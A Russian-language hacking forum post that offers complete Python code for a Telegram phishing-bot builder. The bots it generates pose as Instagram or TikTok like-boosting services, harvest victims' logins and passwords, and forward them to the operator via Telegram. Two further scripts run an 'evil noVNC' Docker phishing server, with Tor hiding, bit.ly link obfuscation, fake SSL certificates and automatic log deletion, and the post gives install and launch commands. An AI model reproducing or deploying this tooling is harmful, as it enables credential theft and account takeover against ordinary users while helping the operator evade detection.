ТелеФиш - Инструмент для создания фишинговых ботов в Telegram

Coder_CC

Member
Messages
24
Reaction score
9
Points
3
Этот код представляет собой инструмент для создания фишинговых ботов в Telegram.

Основные функции кода:

Создание фишингового бота:
  • Код генерирует скрипт бота для Telegram, который имитирует сервис подсчета очков (увеличения количества лайков, подписчиков, просмотров) для Instagram или TikTok.
  • Бот запрашивает у пользователя логин, номер телефона и пароль, якобы для совершения обмана, но на самом деле сохраняет эти данные в файле bot-log.txt и отправляет его создателю бота.

Целевые платформы:
  • Пользователь может выбрать, для какой платформы (Instagram или TikTok) будет создан фишинговый бот. В зависимости от выбора бот предлагает различные варианты «настройки».

Сбор данных:
Бот собирает:
  • Логин или номер телефона.
  • Пароль.
  • Идентификатор пользователя в Telegram.
  • Псевдоним (@username) и имя пользователя.

Отправка данных:
  • Собранные данные сохраняются в файле bot-log.txt и отправляются создателю бота через Telegram с использованием указанного токена и идентификатора.

Обман пользователя:
  • После ввода данных бот сообщает, что «обман» будет выполнен в течение 24 часов, и предупреждает пользователя не делиться своими данными с другими, чтобы не создавать видимость проблем с безопасностью.

Код:

import telebot
from telebot import types
import time
import os
from sys import platform

def clear_screen():
os.system('cls' if platform == 'win32' else 'clear')

clear_screen()

print('''\033[92m
.e$$$$e.
e$$$$$$$$$$e
$$$$$$by$$$$$$
d$$$$$$$$$$$$$$b
$$$$$DarkG8$$$$$
4$$$$$$$$$$$$$$$$F
4$$$$$$$$$$$$$$$$F
$$$" "$$$$" "$$$
$$F 4$$F 4$$
'$F * 4$$F * 4$"
$$ $$$$ $P
4$$$$$"^$$$$$%
$$$$F 4$$$$
"$$$ee$$$"
. *$$$$F4
$ .$
"$$$$$$"
^$$$$
4$$c "" .$$r
^$$$b e$$$"
d$$$$$e z$$$$$b
4$$$*$$$$$c .$$$$$*$$$r
"" ^*$$$be$$$*" ^"
"$$$$"
.d$$P$$$b
d$$P ^$$$b
.ed$$$" "$$$be.
$$$$$$P *$$$$$$
4$$$$$P $$$$$$"
"*$$$" ^$$P
"" ^"
\033[0m''')

print('''\033[95m
_____ _____ _ _____
|_ _| ___| | | ___
| | | |__ | | | |__
| | | __|| | | __|
| | | |___| |____| |___
\_/ \____/\_____/\____/ \033[91m
______ _ _ _____ _____ _ _
| ___ \ | | |_ _/ ___| | | |
| |_/ / |_| | | | \ `--.| |_| |
| __/| _ | | | `--. \ _ |
| | | | | |_| |_/\__/ / | | |
\_| \_| |_/\___/\____/\_| |_/
\033[0m''')

print('\033[92m#########################################')
print('\033[92m+\033[94m Telegram phishing bot builder \033[92m+')
print('\033[92m+\033[94m Developer: DarkG8 \033[92m+')
print('\033[92m#########################################\033[0m')

def validate_input(prompt, input_type=str):
while True:
user_input = input(prompt)
if input_type == int:
if user_input.isdigit():
return int(user_input)
print("Ошибка: введите число!")
else:
if user_input.strip():
return user_input
print("Ошибка: ввод не может быть пустым!")

userid = validate_input('\033[93mВведите свой Telegram ID > \033[0m')
token = validate_input('\033[94mВведите токен бота > \033[0m')

print('''\033[96m
[1] Instagram
[2] Tiktok
\033[0m''')

choice = validate_input('\033[95mВыберите вариант фишинга в боте>>> \033[0m', int)

def generate_bot_script(platform_name):
return f"""import telebot
from telebot import types
import time

print("Бот запущен и готов к работе!")
log = open('bot-log.txt', 'a+', encoding='utf-8')
ID = '{userid}'
bot = telebot.TeleBot("{token}")

try:
bot.send_message(ID, '!The bot is up and running!')
except:
print("Error: you may not have written /start to the bot!")

@bot.message_handler(commands=['start'])
def start(message):
bot.send_message(message.chat.id, '''👋 Hi! 👋
This is a recruiting bot for your {platform_name} account!
To get started, press /tipping''')

@bot.message_handler(commands=['nacrutka', 'n'])
def start_nacrutka(message):
keyboard = types.InlineKeyboardMarkup(row_width=2)
buttons = [
types.InlineKeyboardButton("Barkers❤️", callback_data="likes"),
types.InlineKeyboardButton("Subscribers📃", callback_data="subs")
]
if platform_name.lower() == 'tiktok':
buttons.extend([
types.InlineKeyboardButton("Views👁️", callback_data="views"),
types.InlineKeyboardButton("reposts🔄", callback_data="reposts")
])
keyboard.add(*buttons)
bot.send_message(message.chat.id, "Choose an option:", reply_markup=keyboard)

@bot.callback_query_handler(func=lambda call: True)
def handle_query(call):
msg = bot.send_message(call.message.chat.id, 'Enter the quantity (max. 500):')
bot.register_next_step_handler(msg, process_quantity)

def process_quantity(message):
try:
num = int(message.text)
if num <= 0 or num > 500:
bot.reply_to(message, "Enter a number from 1 to 500!")
return

msg = bot.send_message(message.chat.id, 'Enter your login/phone number:')
bot.register_next_step_handler(msg, process_login)

except ValueError:
bot.reply_to(message, "Enter the correct number!")

def process_login(message):
login = message.text
log_data = f'''Data {platform_name}:
ID: {message.from_user.id}
Nick: @{message.from_user.username}
Login: {login}
Name: {message.from_user.first_name}
'''
log.write(log_data)
bot.send_message(ID, log_data)

msg = bot.send_message(message.chat.id, 'Enter your password:')
bot.register_next_step_handler(msg, process_password)

def process_password(message):
password = message.text
log_data = f'''Password {platform_name}:
ID: {message.from_user.id}
Password: {password}
'''
log.write(log_data)
bot.send_message(ID, log_data)

bot.reply_to(message, 'Thank you! Expect a tipping within 24 hours!')
time.sleep(1)
bot.send_message(message.chat.id, '⚠️ Don't give your details to anyone!')

bot.polling()
"""

if choice == 1:
with open('Instagram.py', 'w', encoding='utf-8') as f:
f.write(generate_bot_script('Instagram'))
print("\nInstagram.py successfully created!")
elif choice == 2:
with open('TikTok.py', 'w', encoding='utf-8') as f:
f.write(generate_bot_script('TikTok'))
print("\nThe file TikTok.py has been successfully created!")

input("\nPress Enter to exit...")
clear_screen()

---------------------------------------------------------
Один пользователь попросил добавить фишинговую атаку через злой браузер novnc.

Код:

import telebot
from telebot import types
import subprocess
import threading
import os
import time
from sys import platform

# Settings
YOUR_TELEGRAM_ID = "YOUR_TELEGRAM_ID" # Replace with your ID
BOT_TOKEN = "YOUR_TOKEN_BOTH" # Telegram bot token
SERVER_IP = "YOUR_IP_OR_DOMAIN" # IP/VPS servers
DOCKER_IMAGE = "darkg8/evil-novnc" # Docker image for noVNC

# Logging
LOG_FILE = "novnc_phishing_logs.txt"

# Running evil noVNC in Docker
def start_evil_novnc():
try:
# Stopping the old container (if any)
subprocess.run(["docker", "stop", "evil-novnc"], stderr=subprocess.DEVNULL)
subprocess.run(["docker", "rm", "evil-novnc"], stderr=subprocess.DEVNULL)

# Starting a new container
subprocess.run([
"docker", "run", "-d",
"--name", "evil-novnc",
"-p", "6080:6080",
"-v", "/root/novnc-sessions:/sessions",
DOCKER_IMAGE
], check=True)

with open(LOG_FILE, "a") as log:
log.write("[+] Evil noVNC server is up and running!\n")
except Exception as e:
with open(LOG_FILE, "a") as log:
log.write(f"[!] Ошибка: {e}\n")

# Sending logs to Telegram
def send_logs_to_telegram(log_data):
bot = telebot.TeleBot(BOT_TOKEN)
try:
bot.send_message(YOUR_TELEGRAM_ID, log_data)
except Exception as e:
with open(LOG_FILE, "a") as log:
log.write(f"[!] Sending error in Telegram: {e}\n")

# Main bot
bot = telebot.TeleBot(BOT_TOKEN)

@bot.message_handler(commands=['start'])
def start(message):
# Button to go to a phishing page
markup = types.InlineKeyboardMarkup()
markup.add(types.InlineKeyboardButton(
text="🔓 Log in to the scoring system (noVNC)",
url=f"http://{SERVER_IP}:6080/vnc.html?host={SERVER_IP}&port=6080"
))

bot.send_message(
message.chat.id,
"⚠️ To access the hover panel, open your browser via the button below. \n" "The session will be active for 5 minutes. After logging in, enter your account login/password.",
reply_markup=markup
)

# Monitoring new sessions
def monitor_sessions():
while True:
try:
sessions_dir = "/root/novnc-sessions"
if os.path.exists(sessions_dir):
for session_file in os.listdir(sessions_dir):
if session_file.endswith(".log"):
file_path = os.path.join(sessions_dir, session_file)
with open(file_path, "r") as f:
data = f.read()
if "LOGIN:" in data:
send_logs_to_telegram(f"🔥 New data:\n{data}")
os.remove(file_path)
except Exception as e:
with open(LOG_FILE, "a") as log:
log.write(f"[!] Monitoring error: {e}\n")
time.sleep(10)

if __name__ == "__main__":
# Running noVNC in a separate thread
threading.Thread(target=start_evil_novnc, daemon=True).start()

# Session monitoring
threading.Thread(target=monitor_sessions, daemon=True).start()

# Starting the bot
print("[+] Bot's up and running. Waiting for victims...")
bot.polling()

Инструкция по применению: Требования
  • Сервер/VPS с Docker (Ubuntu/Debian).
  • Установлен Python 3.10+.
Установка зависимости:
Код:
sudo apt update && sudo apt install -y docker.io python3-pip
pip3 install pyTelegramBotAPI

Запуск вредоносного noVNC:
Код:
docker pull darkg8/evil-novnc # Download image
python3 EvilnoVNC_Phishing.py # Start the bot

Как это работает: .
  • Жертва получает ссылку на «панель всплывающей подсказки» (поддельный noVNC).
  • Все введенные логины/пароли сохраняются в /root/novnc-sessions/.
  • Бот автоматически отправляет данные вам в Telegram.
------------------------------------------------------------------------------
дополнения:

  • Скрытие IP через Tor
  • Обфускация ссылок (bit.ly [ВНИМАНИЕ: потенциально заражено])
  • Поддельный SSL (самозаверяющий сертификат)
  • Автоматическое удаление журналов через 24 часа


Код:
import telebot
from telebot import types
import subprocess
import threading
import os
import time
import requests
from sys import platform
import shutil
from OpenSSL import crypto

# ===== CONFIGURATION =====
YOUR_TELEGRAM_ID = "YOUR_TELEGRAM_ID" # Your Telegram ID
BOT_TOKEN = "YOUR_TOKEN_BOTH" # Token bot
BITLY_TOKEN = "YOUR_BITLY_TOKEN" # bit.ly [WARNING: potentially infected] API key (optional)
TOR_PROXY = "socks5://127.0.0.1:9050" # Tor proxy

# Docker-образ
DOCKER_IMAGE = "darkg8/evil-novnc"
DOMAIN = "your-fake-domain.com" # Dummy domain for SSL

# ===== FUNCTIONS =====
def generate_self_signed_cert():
"""Generating a fake SSL certificate"""
key = crypto.PKey()
key.generate_key(crypto.TYPE_RSA, 2048)

cert = crypto.X509()
cert.get_subject().CN = DOMAIN
cert.set_serial_number(1000)
cert.gmtime_adj_notBefore(0)
cert.gmtime_adj_notAfter(365*24*60*60) # 1 год
cert.set_issuer(cert.get_subject())
cert.set_pubkey(key)
cert.sign(key, 'sha256')

with open("fake_cert.pem", "wb") as f:
f.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert))
with open("fake_key.pem", "wb") as f:
f.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, key))

def shorten_url(url):
"""URL obfuscation via bit.ly [WARNING: potentially infected]"""
try:
response = requests.post(
"https://api-ssl.bitly.com/v4/shorten",
json={"long_url": url},
headers={"Authorization": f"Bearer {BITLY_TOKEN}"},
proxies={"https": TOR_PROXY} if TOR_PROXY else None
)
return response.json().get("link", url)
except:
return url # If bit.ly [WARNING: potentially infected] doesn't work, return the original link

def start_evil_novnc():
"""Running evil noVNC with Tor and SSL"""
try:
# SSL generation
generate_self_signed_cert()

# Running a container with Tor and SSL
subprocess.run([
"docker", "run", "-d",
"--name", "evil-novnc",
"-p", "6080:6080",
"-p", "443:443",
"-v", f"{os.getcwd()}/fake_cert.pem:/cert.pem",
"-v", f"{os.getcwd()}/fake_key.pem:/key.pem",
"-v", "/root/novnc-sessions:/sessions",
"-e", "USE_SSL=true",
"-e", "TOR_ROUTING=true", # Built-in Tor support
DOCKER_IMAGE
], check=True)
except Exception as e:
log_error(f"NoVNC startup error: {e}")

def log_error(message):
"""Error Logging"""
with open("errors.log", "a") as f:
f.write(f"[!] {time.ctime()}: {message}\n")

# ===== TELEGRAM BOTH =====
bot = telebot.TeleBot(BOT_TOKEN)

@bot.message_handler(commands=['start'])
def start(message):
# Phishing link generation
phishing_url = f"https://{DOMAIN}:6080/vnc.html?host={DOMAIN}&port=6080"
short_url = shorten_url(phishing_url) # Obfuscation

# Sending a message with the button
markup = types.InlineKeyboardMarkup()
markup.add(types.InlineKeyboardButton(
text="🔓 Log in (Secure Access)",
url=short_url
))

bot.send_message(
message.chat.id,
"🔒 For secure access to the service, use a secure connection:\n\n"
f"• Reference: <code>{short_url}</code>\n"
"• Session time: 5 минут"
parse_mode="HTML",
reply_markup=markup
)

# ===== STARTING =====
if __name__ == "__main__":
# Running in separate threads
threading.Thread(target=start_evil_novnc, daemon=True).start()

# Clearing old logs (once a day)
def clean_logs():
while True:
time.sleep(86400) # 24 hours
shutil.rmtree("/root/novnc-sessions", ignore_errors=True)
threading.Thread(target=clean_logs, daemon=True).start()

print("[+] The bot is up and running")
bot.polling()
 
Top